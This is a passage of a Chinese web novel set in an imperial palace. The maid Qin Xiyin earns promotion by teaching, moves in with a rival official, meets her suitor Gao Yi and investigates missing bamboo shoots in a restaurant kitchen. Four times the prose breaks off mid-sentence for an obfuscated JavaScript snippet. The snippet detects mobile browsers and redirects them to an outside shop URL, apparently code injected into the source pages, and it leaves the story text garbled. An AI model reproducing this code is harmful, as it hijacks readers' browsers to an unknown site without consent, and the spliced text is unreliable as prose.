“这件事,我现在还不太确定,我要去问一下。下次再跟你说吧。今天你有时间吗?我可以先简单教你一点知识。” “今天吗?在这里?” “嗯,你难得出来一趟,而且这里也没有人,挺方便的。” “那好吧……不过,我最多只能再待一刻钟。我太久不回去,昭仪娘娘会起疑的。” “好,一刻钟也没事,我先教你写你的名字……” 秦惜音利用这一刻钟的功夫,教了一些浅显的知识给乌梅。 乌梅听得很认真,眼睛都睁大了。 没过多久,乌梅要离开了。她匆匆向秦惜音道了谢,就跑了。 秦惜音回到司籍司,偷偷去见了谢尚仪。 谢尚仪问道:“惜音,你来找我有什么事吗?” “尚仪大人,您之前说,我如果能让三十名固定学员取得甲等成绩,就升我的官。我想问一下,如果不是固定学员,只是有空时才来上课的流动人员,考试时取得甲等成绩,可以算在30人之内吗?” “当然可以,只要是你教过的宫女,不论有没有固定上课时间,只要考试得到甲等就行了。之前我说让你招收固定学员,是因为宫女们只有上课达到一定的量,才能学到一些知识,有可能考出甲等。 如果她们上课很少的话,几乎不可能考出甲等成绩的。 但这不意味着,学员们的上课时间一定要非常固定。如果有些人很少来上课,你却能让她们考出甲等成绩,那是你的本事,证明你比我想的更厉害。” 秦惜音欣喜道:“是,多谢尚仪大人解惑。” 在下一次见到乌梅的时候,秦惜音对她说道:“乌梅姐姐,我想请你找几个听你话的小宫女,由你来教她们知识。她们平时可以来司籍司学习,也可以不来。来的频率不用太高。但是,我教给你的知识,你得原样教给她们,并确保她们学会。 而且,我这里组织考试的时候,那几个小宫女也得来参加考试。 不知道这件事您可以帮我吗?” 乌梅点头道:“可以。我是一等宫女,要命令几个小宫女是很容易的。你教我的时候,我一定好好学;回去之后,我也按照你的方法教小宫女。 只是,我不明白,你如果需要更多学员,为什么不直接叫更多小宫女去司籍司上课呢?为何要让我来教她们?” 秦惜音道:“原因说起来比较复杂,我现在还不能透露。姐姐教几个小宫女读书的事,也不能泄露出去。” “好的,我偷偷学习,也不敢让别人知道。所以,我不会泄露的。” 接下来的日子,秦惜音继续认真教着那28个固定学员,私下里偷偷教乌梅。 而乌梅也找了几个小宫女,偷偷教她们。 又经过了几次考试,能考到甲等的人越来越多。 某日,荆双蝶的房间。 玉秀走了进来,对荆双蝶说道:“表姐,昨天惜音组织的考试,有22个甲等。你看,我们要不要早做准备?” 荆双蝶道:“我记得,她的固定学员只剩下28个了吧?” “对,还有一些是不常来上课的流动学员。” “既然她的固定学员都不足30个了,就算全部考上甲等,也达不成目标。不过,她这段时间为什么不重新招收几个固定学员?实在令人费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751592|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解。” “也许,是因为固定学员不好招吧。” “你先继续盯着她吧,一旦她的固定学员达到30个,我们再想办法。” “嗯。” 十天后,秦惜音又组织了一次考试。 这一次,她觉得时机成熟了。她又信心,自己的学员能够全部考上甲等。 参加考试的一共有四十人,因为考试并不限定只能某些学员参加,只要考试那天来的人,都可以加入。 除了28个固定学员外,还有几个流动人员,还有几个是乌梅偷偷培养的小宫女。 成败在此一举。 秦惜音在教室里监考,看着大部分人认真书写的样子,心里也越来越笃定。 当你洒下一把种子,辛勤培育,一定会开花结果。 考试结束,秦惜音和其他几个女史一起批改试卷,一共有32人达到了甲等,剩余的人是乙等。 秦惜音兴奋地把这些试卷拿给谢尚仪看,谢尚仪赞许地看向秦惜音:“不错,你真的做到了。” 秦惜音低头道:“多谢尚仪大人给我这个机会,我才能有如此成绩。” “这也是你自己优秀,旁人才能给你机会。如果你不是在女官考试中一骑绝尘,在毁容之后还认真工作,我也不会为你费这个心。惜音,你如今得到的一切,都是你应得的。 我会尽快召集尚仪局所有女官,宣布升你为八品掌籍之事。到时候,你就跟荆掌籍平起平坐了,俸禄也会增加。” 秦惜音虽然早就料到了这个结果,但听见谢尚仪亲口说出来,还是激动不已,连连叩谢。 谢尚仪微笑道:“难得你如此上进,又有活力。我们女官队伍中,又要增添一个优秀人才了。你先回去准备一下,这几天可以不用干活了。” “是。” 两天后,谢尚仪召集了尚仪局所有的女官开会。 尚仪局有两位尚仪,一位是谢尚仪,一位是范尚仪。她们两个地位最高,都是五品。 接下来,还有六品、七品、八品官员若干。 如果所有官员位置都有人,那尚仪局一共应该有34名女官。 但现在,很多官位有所空缺,所有女官加起来只有22个。 众女官聚集在一起,场面也很盛大。 秦惜音陪坐末位,静静等待着谢尚仪宣布结果。 秦惜音第一次见到女官们的聚会,觉得新鲜又有趣。 众多的女人都穿着不同品级的官服,气度森严地坐着,是一道别样的风景。 尽管这些女官之间可能有许多矛盾,但在公共场合,大家都维持了应有的体面。 秦惜音见过农妇们的聚会,她们坐姿豪放,高谈阔论,勾肩搭背,瓜子壳、花生壳洒满桌子;也见过贵族妇女们的聚会,她们仪态端方,言语从容,暗藏交锋,但言谈间离不开丈夫妻妾子女等话题;也见过贵族千金们的聚会,她们赏花扑蝶,饮茶行令,互相玩耍,一派天真。 如今,秦惜音又见到了第四种女人间的聚会。 女官们的聚会,谈的是公事,规矩也接近朝堂官员,等级森严。 这种聚会,有别于其他聚会,代表了女人的另一种可能。 女人本来就该有无数的可能性。 66. 搬入新屋 看众人都到齐了,谢尚仪道:“今日召集大家,是为了宣布一件事。司籍司女史惜音,虽然破相了,但因才能出众,近期更是让三十多名宫女考试达到了甲等。故而本官决定破格提拔她为八品掌籍。 以后,大家要跟她互相学习,共同进步。她刚升上来,有什么做得不好的,也要诸位多加教导。 惜音,你上前来,拜见各位长官吧。” 秦惜音起身道:“是。” 她如今已经穿上了八品掌籍的服饰,觉得步伐都轻快了,心也像是在天上飞一般。 她恭敬地向各位长官行礼。 有些长官露出了欣赏的表情;也有的没什么反应,只是点点头;还有的长官打量着她的脸,面露嫌弃。 不管她们是什么眼神,秦惜音都不在意。 只要自己尽好职责、问心无愧就可以了。旁人怎么想,不重要。 其他部门的长官都拜见完毕,秦惜音开始拜见司籍司的长官们。 黄典籍挺开心的,荆双蝶却皱着眉,似乎非常不满。而其他几位长官,大部分都是点头微笑,看不出内心的态度。 秦惜音见礼完毕,站在一边。 流程还没结束,一会谢尚仪还要带她阅读女官守则。 这时,荆双蝶说道:“谢尚仪,属下有一事不明。之前说好的,如果惜音能招收三十名固定学员,并让她们的成绩都达到甲等,才让惜音升官。 但现在,她的固定学员只有28人。虽然最终考取甲等的人有三十多个,但不能算数。” 谢尚仪道:“本官当时的意思,并不是说考取甲等的人必须得是固定学员,只要最终甲等的人数达到30个就可以了。我让秦惜音招收固定学员,是因为固定学员上课时间多,更容易考到甲等。 我想,荆掌籍是误会了本官的意思。惜音能让不常来上课的人考甲等,更加证明她能力出众,不是吗?” 荆双蝶无言以对,只能作罢。 谢尚仪又说道:“荆掌籍,以后惜音跟你共事的时间多一些,你们彼此还是要互相照应为好,不得互相攻讦。” 荆双蝶、秦惜音都应道:“是。” 接着,谢尚仪带领秦惜音读了一遍女官守则。 礼成之后,众女官纷纷恭喜秦惜音。 散会之后,秦惜音回到房间,整理东西,心情既喜且忧。 喜的是她终于成为女官了,忧的是她以后要跟荆双蝶一起住。 六品女官才有单独的房间,七品、八品女官都是跟同品级的同僚住一起的。 秦惜音鼓起勇气,把东西搬了过去。 荆双蝶见秦惜音搬来跟自己同住,有些不悦,走了出去。 秦惜音也只能先收拾东西。 掌籍的屋子跟女史们的屋子差不多大,区别在于掌籍的屋子只住两个人,女史的宿舍却要住十个人。 所以,秦惜音搬家之后,可使用的空间大了很多。 屋子里一共两张床,床很宽,可以同时睡下三个人。 而现在,三人宽的床属于秦惜音一人所有了,秦惜音很开心。 两张床之间用屏风隔断,两位掌籍的地盘也一分为二。 床边有床头柜、衣柜、凳子,还有一张竹制躺椅,可以躺着看书。 秦惜音试着躺了躺,还挺舒服的。 秦惜音打开自己这边的抽屉、衣柜,发现里面放满了东西,应该是荆双蝶的。 以前,这屋子是她一个人用,所以她把两个人的家具都给占了。 秦惜音在考虑要不要把这些东西拿出来。 她琢磨了片刻,有了另一个主意。 她叫来一个关系好的女史,跟她一起把自己的衣柜、床头柜什么的,都搬到了荆双蝶那边。 这样,秦惜音这边就空了很多。 秦惜音又把屏风往自己这边移了移,给荆双蝶留下更大的空间。 那个女史问道:“秦掌籍,你真的要把自己的柜子全都送给荆掌籍用吗?” 秦惜音道:“我这边的柜子本就摆满了荆掌籍的东西,想必是她自己的柜子里已经摆满了,没地方放了。干脆把我这边的家具都给她用,也可以避免争端。” “可是,你自己的行李怎么办?” “我用旧的箱笼装了行李,我的东西也不多,一直放在旧箱笼里就可以了。” “可是,你跟荆掌籍平起平坐,没必要让着她。” “也不是这么说。她当女官时间久,是我的前辈,我谦让一些是应该的。只要我不屯东西,就不需要用到储物柜了,也还好。” “秦掌籍,你真好。” 秦惜音笑了笑,给了这女史一吊钱,说道:“今天谢谢你的帮忙,你先去休息吧。” “嗯。” 荆双蝶离开屋子后,找到了表妹玉秀,把她带到僻静处说话。 荆双蝶道:“以后我跟惜音同住,你不要来我房间了,说话不方便。有事直接在外面找地方说。” 玉秀有些不满:“好吧。就不能不跟她一起住吗?” “没办法,两位掌籍住一间屋子,这是宫中的规矩。” “表姐,你说过会提拔我当掌籍,可是现在惜音当了掌籍,我怎么办?” “本来我已经在给你铺路了,包括交给你一些重要的任务、带你去见上级等等。但是,惜音突然半路进了司籍司,而且她一枝独秀,我也阻止不了她升迁。不过,尚仪局女官名额空缺较多,你还是有机会的。 等我升上去了,或者惜音犯了什么错被革职了,你就又有机会了。你放心,有表姐在,你的前途没问题。” “嗯。表姐,还是你对我最好。” 荆双蝶回到房间后,看见屏风被移到秦惜音那边去了,秦惜音的空间很小,而她的空间很大。 而且,秦惜音还把自己那边的柜子全都挪到这边来了。 荆双蝶问道:“惜音,你这是做什么?” 秦惜音笑道:“荆姐姐回来了。我东西不多,不需要太多柜子。而且,我看我这边的柜子里都放了你的东西,拿出来也麻烦,不如连柜子一起给你。 我搬进来,叨扰了姐姐,实在抱歉。我平时喜静,不需要太多活动空间,所以就把屏风往我那边挪了一些,这样姐姐可以自在一些。” 见秦惜音这么说,荆双蝶也有些不好意思,说道:“何必如此?这个房间,我们一人一半吧。你的柜子也搬回去,我会把自己的东西都拿出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751593|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不用了,荆姐姐。您是司籍司的前辈,我尊敬前辈、退避三舍是应该的。只要姐姐不嫌我烦就好。” “怎么会呢?我们同为掌籍,要互相合作、互相帮助才是。” “荆姐姐说的是。” 荆双蝶之前有些担心,秦惜音会因为自己阻挠她升官而记恨自己。 但是现在看来,秦惜音好像不在意,至少表面上没有撕破脸,还挺尊敬自己的。 那自己借坡下驴,说几句好话和缓一下倒也不难。 中午,秦惜音主动帮荆双蝶拿饭,还给了荆双蝶一碗红豆汤。 这碗红豆汤,是秦惜音请求自己尚食局的好友松月做的。 荆双蝶惊奇道:“今日的分例好像没有红豆汤啊?” 秦惜音道:“是没有,不过我听说荆姐姐爱喝红豆汤,就请了尚食局的朋友帮忙做了一碗。” 荆双蝶笑道:“你有心了。” 秦惜音也笑了笑。 不过,她心里有些忐忑。 她不知道做到这种程度,荆双蝶还会不会欺负自己。 反正,她自己不能被人挑出什么错处。 她现在没有家族,没有权势,只能靠自己。因此,以和为贵是她的信条。 过了一会,荆双蝶道:“你不用总在我这里候着,尚仪大人不是放了你两天假吗?你休息一下吧。” “好的。” 秦惜音正想着,趁放假的机会出宫一趟,还能跟高毅见一面。 她之前一直在忙教授学员的事,劳心劳力,也确实该放松一下了。 她吃完午饭,走出房门,想休息一会。 这时,有几个女史围了上来,说道:“秦女官,你升官了,请我们吃饭呀?” 秦惜音笑道:“我没时间宴请大家。要不这样,我去尚仪局亲自做些点心,分给大家吧。” “好啊。” “没想到秦女官还会做点心呢。” 秦惜音笑道:“那我现在去尚食局,你们都先忙手头的事吧,等忙完了,点心也做好了。” 女史们点了点头,四下散开了。 秦惜音算了算日子,明日是高毅休沐的日子,还是明天去找他合适一些。今天就先留在宫里好了。 其实,要她宴请下属的话,她也能拿得出钱来。只是,她觉得自己刚刚升官,就大肆宴请,有些太张扬了。 还是低调些好。 秦惜音来到尚食局,找好友松月。 松月笑道:“恭喜秦大人,你也是女官了。” “多亏你的帮忙,我才能走到今天。” “不,是你是自己厉害。这会已经过了饭点,你来找我有事吗?” “我想借用一下尚食局的厨房,给下属们做一些糕点。” “好啊,那我跟你一起做吧。我最近学了几种新糕点的做法,正好教给你。” 秦惜音和松月一起在厨房做了一个时辰的糕点,十分开心。 每一种糕点做好后,她们都会先尝尝。 最后,她们俩都吃撑了,只能吃一些助消化的药丸。两人都看着对方哈哈大笑。 松月道:“惜音,我们来比比谁先升官怎么样?” 67. 偶遇朋友 秦惜音笑道:“我不比,你肯定比我先升官,毕竟你当八品女官的时间长一些。” “那可不一定。如果谁先升了,另一个人就要买礼物。” “好,就这么说定了。” 秦惜音跟松月告别,把糕点拿回司籍司,分给了想吃的同僚们。 好几个女史都抢着吃,就连连云也吃了两块。 但是,也有几个女史离秦惜音远远的,不来凑热闹,玉秀还翻了个白眼。 秦惜音已经不在意这些了,反正这世上总有人跟你合得来,也总有人跟你合不来。想取得所有人的认可是不可能的。 晚上,秦惜音来到黄典籍的房间,向她申请明天出宫一趟。 黄典籍笑道:“当然可以。上次我要的书,有几本没买到。这次你继续帮我买吧。” “是。” 有了买书的理由,再加上黄典籍给的令牌,秦惜音就可以光明正大地出去了。 第二天一早,秦惜音离开皇宫,来到了高府。 她跟门房通报,自己姓秦,是宫里来的,想找高毅。 门房高兴地说道:“原来是您啊。公子吩咐我们,如果有位姓秦的宫女过来,就让我们直接去通报他。姑娘稍等,我这就叫公子出来。” 很快,高毅就走了出来。 他今日没穿官服,穿了一身青草绿的蚕丝交领长衫,隐隐透着白色的里衣;腰间系着一条深绿色的腰带,挂着一块白色祥云纹玉佩,显得清新淡雅,如山中竹。 秦惜音一见到他,便笑了:“高大人,你今天可要请我吃饭。” “哦?让我猜猜……莫非你成为女官了?” 秦惜音有些惊讶:“被你猜中了。” “观你神色,我就知道有喜事。对你来说,最大的喜事不就是升官吗?” “高大人真聪明啊。” 高毅牵着秦惜音的手,往家里走:“走吧,跟我进去。” 秦惜音赶紧说道:“我不去你家。” “为什么不去?反正,你迟早要见见我的家人的。” “那……那也是以后的事。总之,今天不行。” “哈哈,那就不去。走吧,我带你去酒楼吃饭。” 她们今日仍是坐马车出去。 路上,秦惜音见人烟越来越稀少,问道:“我们这是要去哪里的酒楼?” “在前面的凤谷园新开了一家酒楼,可以一边吃饭一边赏景,我想你会喜欢。” 秦惜音放下心来:“原来是开在郊外的酒楼啊……” 凤谷园是个景区,里面风景优美,秦惜音以前也去玩过几次。不过,以前那里没有酒楼,应该是最近开的。 高毅打趣道:“你是不是以为,我会把你带到外地卖掉?” 秦惜音笑道:“我现在这样,可卖不出价钱。” 这时,高毅却认真地看着秦惜音,说道:“惜音,你无需自卑。对我来说,你是无价之宝。” 秦惜音大为感动,小声说道:“谢谢……” “我说过,不用说谢谢,显得我们很不熟似的。” 秦惜音笑道:“要说熟,确实也不熟……我们见面次数也不多嘛……” 高毅忽然牵起秦惜音的手,轻吻了一下,道:“现在呢?” 秦惜音赶紧抽回手,尽量掩饰着自己慌乱的心绪,说道:“高大人,你怎么可以……” 秦惜音也不知道自己现在是什么心情,有些心乱如麻,干脆跳下了马车。 还好马车行驶得不快,秦惜音稳稳落地,并没有受伤。 高毅掀起车帘,有些担忧地看向她。见她没事,也跟着跳下了马车。 高毅跟了上来,说道:“惜音,你不会生气吧?” 秦惜音低头道:“我没有生气……” 高毅又拉起了秦惜音的手,给她手上套了什么。 秦惜音一看,自己手上多了个金镯子。 高毅道:“这是我前几天找人打的,你看,很适合你。” “这么贵重,我不能要……” “你收下吧,不然,我可要伤心欲绝,一病不起……” “呸呸呸。” 秦惜音被逗笑了,她看了看这个金镯子,见上面雕刻着复杂的花纹,还镶嵌着几颗珍珠,金光闪闪的,非常漂亮。 她越看越喜欢,但又怕太张扬了,就把衣袖往下拉,遮住了金镯子。 高毅问道:“喜欢这个款式吗?不喜欢的话,我们去金铺重新挑一个。” “不用了,我喜欢这个……不过,如果让人看见,有点张扬,我就遮住了。” 高毅哈哈大笑:“你也太谨慎了,这又不是在宫里。等你回了宫,再把它收起来好了。” “在这里也不能让人看见,不然招来贼可怎么办?” “哈哈哈,要是有贼,也早就被我打跑了。” 这时,有一群年轻人骑马而来。 他们看见高毅,纷纷打招呼,看来是高毅的朋友。 等骑到了高毅身边,这群人纷纷下马。秦惜音观察了一下,大约有五六个少年,两三个姑娘,全都衣着华丽,光彩照人,看着都是清贵人家的子弟。 高毅也对这群朋友笑道:“各位兄台,好久不见。” 这时,有个红袍少年看见了秦惜音,问道:“高兄,这位是……” 高毅道:“她是我的未婚妻。” “原来你都有未婚妻了,不知是哪家的姑娘?” 高毅含糊道:“现在不方便说,还没下聘呢。我怕传了出去,坏了她的名声。” 另一个紫袍少年道:“高兄,你可真是体贴啊……” 这时,那紫袍少年看见秦惜音的脸,愣了一下。他想问什么,但又没问出口。 其他几位少年也注意到了秦惜音脸上的疤,他们的笑容都淡了一些,似乎不明白秦惜音为什么会成为高毅的未婚妻。 旁边的几位少女,也都用惊讶的目光看了秦惜音一眼。但她们觉得这样的打量有些失礼,很快就收回了目光。 秦惜音有些羞惭,掏出一块面纱,想遮住自己的脸。 没想到,高毅按住了她的手,把面纱拿走,藏在自己怀中。 秦惜音没了面纱,只能尽量低着头。 高毅却轻声对她说道:“没关系的,你又没做错什么。” 接着,高毅上前一步,把秦惜音的半边身子挡住,对朋友们笑道:“我这未婚妻以前被歹人所害,脸上留了疤,所以有些怕人。你们别盯着她看了吧。” 这时,那紫袍少年笑道:“高兄,这位姑娘不过是白璧微瑕,比许多没有疤痕的人好看多了。” 红袍少年也笑道:“没错,我也这么觉得。就比如高兄你,虽然脸上无疤,但哪里比得上这位姑娘的万分之一?” 秦惜音被逗笑了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751594|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自卑感烟消云散,也敢抬头了。 高毅推了那红袍少年一下,笑道:“就数你小子贫嘴贫舌的。” 红袍少年笑道:“你都有媳妇了,还不许我打趣一下?而我这京城第一美少年,竟然没有媳妇,哪有这样的道理?” 高毅笑着踢了他一脚,他跑到其他朋友那里,又被踢了好几脚。 这时,这群年轻人中有一个绿衣少女,走了出来,对秦惜音笑道:“姑娘,我给你装扮一下。” 秦惜音好奇地问道:“怎么装扮?” “你等下就知道了。” 这绿衣少女取出几颗珍珠,贴在秦惜音的疤痕上。 秦惜音脸上的疤痕是竖着的,而且比较长,很难通过化妆遮掩。 但是,这几颗珍珠贴上去,完美地遮住了疤痕,还显得好看。 珍珠上粘着一种黏性很强的软胶,所以贴在脸上也不会掉。 这绿衣少女看了看秦惜音的模样,笑道:“好了。” 红袍少年朝秦惜音看了两眼,啧啧称奇:“这可真是化腐朽为神奇啊。曹小姐,原来你这么会化妆,难怪我每次见到你,都觉得你很好看。” 这绿衣少女不满道:“你什么意思?你是说我素颜不好看,全靠化妆才能有现在的美貌?” “我可没这么说,我又没见过你素颜的样子。” “你还想见我素颜的样子?我打死你!” “怎么了,这话说不得吗?” 红袍少年一边躲避绿衣少女的“追杀”,一边不解地问其他人。 紫袍少年笑道:“你说出这话就该打。你想想,一个女子什么时候会素颜对着人?” 红袍少年道:“什么时候?大概的早上起床的时候吧……哎呀,不对!” 这红袍少年回过味来,才意识到自己刚才的话有多唐突。这时,那绿衣少女已经追了上去,狠狠地打了他几下。 秦惜音看着她们的样子,也忍不住笑了。 而高毅的目光却一直停留在秦惜音脸上,似乎有几分惊艳。 秦惜音注意到了,忍不住摸了摸脸上的珍珠,道:“现在这样……真的好看吗?” 高毅坚定地点头:“你本来就好看,现在更是像仙女一般。” 高毅拿出一面小镜子,给秦惜音看。 秦惜音发现,那几颗小珍珠把自己的疤痕完全遮住了,而且增加了自己的美貌。 更奇特的是,只有一边脸上贴着长长的珍珠面靥,显得很别致。如果两边脸上都对称贴上珍珠,反而有点死板。现在这样刚刚好。 秦惜音挺佩服刚才那绿衣姑娘的,那姑娘果然是化妆的高手。 高毅道:“你现在相信了吧?真的很好看。以后你要是不想让人看见脸上的伤疤,也可以这么打扮。” 秦惜音笑着把镜子递给高毅,也敢大大方方地抬起头来看别人了。 高毅那一群朋友另外有事,跟高毅和秦惜音告别后,就骑上马离开了。 秦惜音喃喃道:“高毅,你的朋友都挺好的。” 高毅笑道:“那当然,我看人的眼光很好,朋友如此,未婚妻也如此。” “我……我不是你的未婚妻,你别乱说。” “好,那我不说。” “心里也不准想。” “那难度可有点大……” 秦惜音瞪了他一眼,高毅反而大笑起来。 68. 联手破案 没过多久,高毅和秦惜音就到达了凤谷园内的酒楼。 这间酒楼一共三层,装潢考究,十分雅致,但看起来房间不多。看来,这家酒楼走的也是高端路线,不追求客人的数量。 从酒楼的装潢来看,这里的菜一定不便宜。只要敢走进来的,就有一定的消费能力。 老板见到秦惜音和高毅风度翩翩,举止斯文,便笑着迎了上来,问道:“二位客官要吃什么?可以现在这里点菜,点完菜之后上二楼雅座。” 高毅问道:“有没有清静一点的包厢?” “有的,我们这里的包厢都很安静,不像别的酒楼人来人往的。现在还有三间空房,一会两位可以随便挑选。” “嗯,那就先看菜单吧。” 老板拿出了一本厚厚的菜单,让秦惜音很惊讶。 她翻开来后才明白菜单为什么这么厚,因为每一道菜不仅有名字,还画出了图片,而且是彩色的。 也就是说,图片上什么样,做出来就是什么样。 画这么一份菜单,应该要不少时间。但它还是一次性的,客人想吃什么,在相应的菜上画圈即可。 秦惜音觉得,这家酒楼的服务真的很到位了。光是看菜单,就挺赏心悦目的。 高毅让秦惜音点菜,秦惜音随便点了几个看起来好看的,说道:“就要这几个吧,不要加葱姜蒜和韭菜。” 高毅道:“再加一道油焖春笋。” 老板笑道:“两位客官来得正好,春笋所剩不多,刚好还够烧一盘。请两位上楼等待吧。门口挂着‘闲’字牌的房间,就是空闲的;挂着‘满’字牌的,就是有人的。” 秦惜音和高毅准备上楼,而老板也把菜单交给伙计,让伙计去厨房做菜。 过了一会,伙计从厨房跑出来,对老板道:“老板,春笋没有了。” 老板惊讶道:“不可能呀,我刚才去厨房的时候,还发现篮子里放着一些春笋。是不是你们不小心,让野狗把春笋给叼走了?” “冤枉啊老板,我们管理厨房很严格,野狗不可能进来的。再说,狗也不吃竹笋啊。” “那就是你们谁把春笋给偷吃了。” “我们没吃……” “总之,今天打烊之前,你们必须查出是谁拿走了春笋。否则,全体伙计和厨师都扣工钱。” 秦惜音和高毅还站在楼梯上,没有进房间,看见了刚才的一幕。 高毅道:“看来这家酒楼遇到了一个小麻烦,我想下去看看。” 秦惜音笑道:“高大人的职业病犯了?我跟你同去。” 两人一起下楼,老板有些不好意思地说道:“两位客官,我刚刚才知道,春笋没有了。要不,换个别的菜,我给二位打个八折?” 高毅道:“点菜的事等会再说,我帮你看看是谁拿走了竹笋。” “啊?” 秦惜音解释道:“这位大人是大理寺的官员,擅长破案。” 老板喜出望外:“那可太好了,您一定要帮我查查,是谁偷走了竹笋。” “可否带我去厨房看看?” “二位这边请。” 老板带着高毅和秦惜音二人,来到厨房。 厨房很大,一共有八个灶,现在有六名厨师、四个伙计在这里忙碌着。 厨师们都忙着做菜,有三个伙计在做洗碗、打水等杂活,还有一个胖伙计坐在灶后烧火。 老板问道:“厨房里剩的春笋,到底被谁拿了?还是被你们吃掉了?” 有个厨师道:“老板,我没看见啊。” 另一个厨师道:“刚才我看篮子里还有竹笋的,一转眼就不见了,我也不知道怎么回事。这里也没有外人进来过。” 第三个厨师道:“老板,我们都忙死了,哪有时间偷偷做菜给自己吃?” “是啊,我们在酒楼干活这么久,什么好东西没吃过,怎么可能贪吃几根春笋?” 老板有些生气:“不是你们拿了或吃了,难道这竹笋自己有脚,会跑走吗?” “老板,我们都是受过严格训练的,知道什么能做、什么不能做。有的时候菜炒多了,我们吃一两口倒有可能。像这种上好的春笋,最近产量低,给客人吃还不够,我们不会偷偷拿走或吃掉的。” “是啊老板,我们知道如果耽误了给客人上菜,会被罚钱。谁会为了几口吃的,冒这么大险?” 这些厨师们一边辩白,一边不停地做菜。他们没时间停下休息。 老板也觉得纳闷。如果说后厨的人把剩下的春笋一起炒着吃了,然后集体说谎,代价也太大了。 春笋虽然不便宜,但也不是什么龙肝凤髓,值得他们这样做。 老板纳闷地看向高毅,道:“高大人,您看是怎么回事?” 高毅道:“要不这样,后厨的每个人都拿一个空碗漱漱口,如果谁吃了春笋,应该会有残留的食物的。” 老板点了点头,让众人照做。 于是,大家都拿来一个空碗,各自漱口。 高毅仔细看了看他们的漱口水,说道:“里面都没有笋的残留物,看来他们没吃。老板,这些笋原本放在哪里?” 老板指了指旁边的一个竹篮:“放在那个篮子里。之前我来的时候,看见那里还有一些被切开的笋,数量不多,只够炒一盘的了。” 秦惜音和高毅都走了过去,观察那个竹篮。那个竹篮已经空了,但还能闻到笋的味道,看来它是专门用来放竹笋的。 而且,这个竹篮有点潮湿,大部分地方都是干净的,但在边缘处却有一些黑印子,不知道是谁留下的。 这个竹篮的旁边,还放着好几个一模一样的竹篮,那些竹篮里面都有不同的菜,而且所有的竹篮都是湿的。 秦惜音问道:“老板,这些竹篮都是刚洗过的吗?怎么全是湿的?” 老板道:“这一排竹篮里放的都是马上要做的菜,在做菜之前,盛菜的竹篮会放到水里洗一下。所以,这些竹篮和菜都是湿的。” “但是,这个放竹笋的篮子有黑印子,你看。” 老板看了一眼,道:“奇怪,怎么会有黑印子,难道是偷竹笋的人留下的?” 秦惜音道:“即便是小偷,他的手也未必是脏的。所以,这些黑印子到底是怎么留下的……” 这时,几个厨师说道:“这里没有小偷进来过,我们一直在这里,都可以作证的。” “是啊。” 秦惜音问道:“这个竹篮里放的是整个的竹笋,还是剥皮的、切开的竹笋?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751595|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厨师道:“是切开的竹笋。我们酒楼的菜怎么摆放,都有规矩。刚从菜农那里收来的菜,是放外层的箩筐里的。然后由伙计清洗数遍,保证干净后,再放进这边的竹篮里,方便我们炒菜。像竹笋这种有外壳的,也会剥去外壳再放进来。” “既然这样,这些黑印子就不是来自竹笋的外壳了。” “没错。” 秦惜音觉得,这些黑印子可能是拿竹笋的人留下的。但是,厨师们的手看起来都很干净。 伙计们一直在洗碗,如果是他们拿的,也可以趁洗碗的功夫,偷偷把自己的手洗干净,也就找不到证据了。 高毅一直在观察着厨房,掀开每一处能藏东西的地方,看看有没有竹笋。 有个伙计道:“厨房里我们都找遍了,确实没有竹笋。” 这时,高毅皱眉道:“哪来的白酒味?” 话音刚落,秦惜音也闻到空气中有一股似有若无的白酒味。 一般厨房里只会有料酒,就算厨师喝酒,也只会喝一些米酒之类的,不会喝高浓度的白酒。 这时,有人打了个嗝,空气中的白酒味更加浓郁了。 循着气味找去,两人发现,白酒的气味竟是从那个烧火的伙计嘴里发出的。 那个伙计坐在炉灶后面,眼神有些涣散,脸也很红,显然是喝酒喝多了。 这时,老板走上前,对那个伙计说道:“阿四,你怎么搞的,我叫你干活的时候不许喝酒,你怎么总是不听?” 那个伙计大概是喝大了,站了起来,拍了拍老板的肩膀,说道:“老板,不用这么紧张嘛,反正我只负责烧火,误不了事的……” 这时,高毅看到老板肩膀处被那个伙计给拍黑了,就走上前去,抓住那个伙计的手。 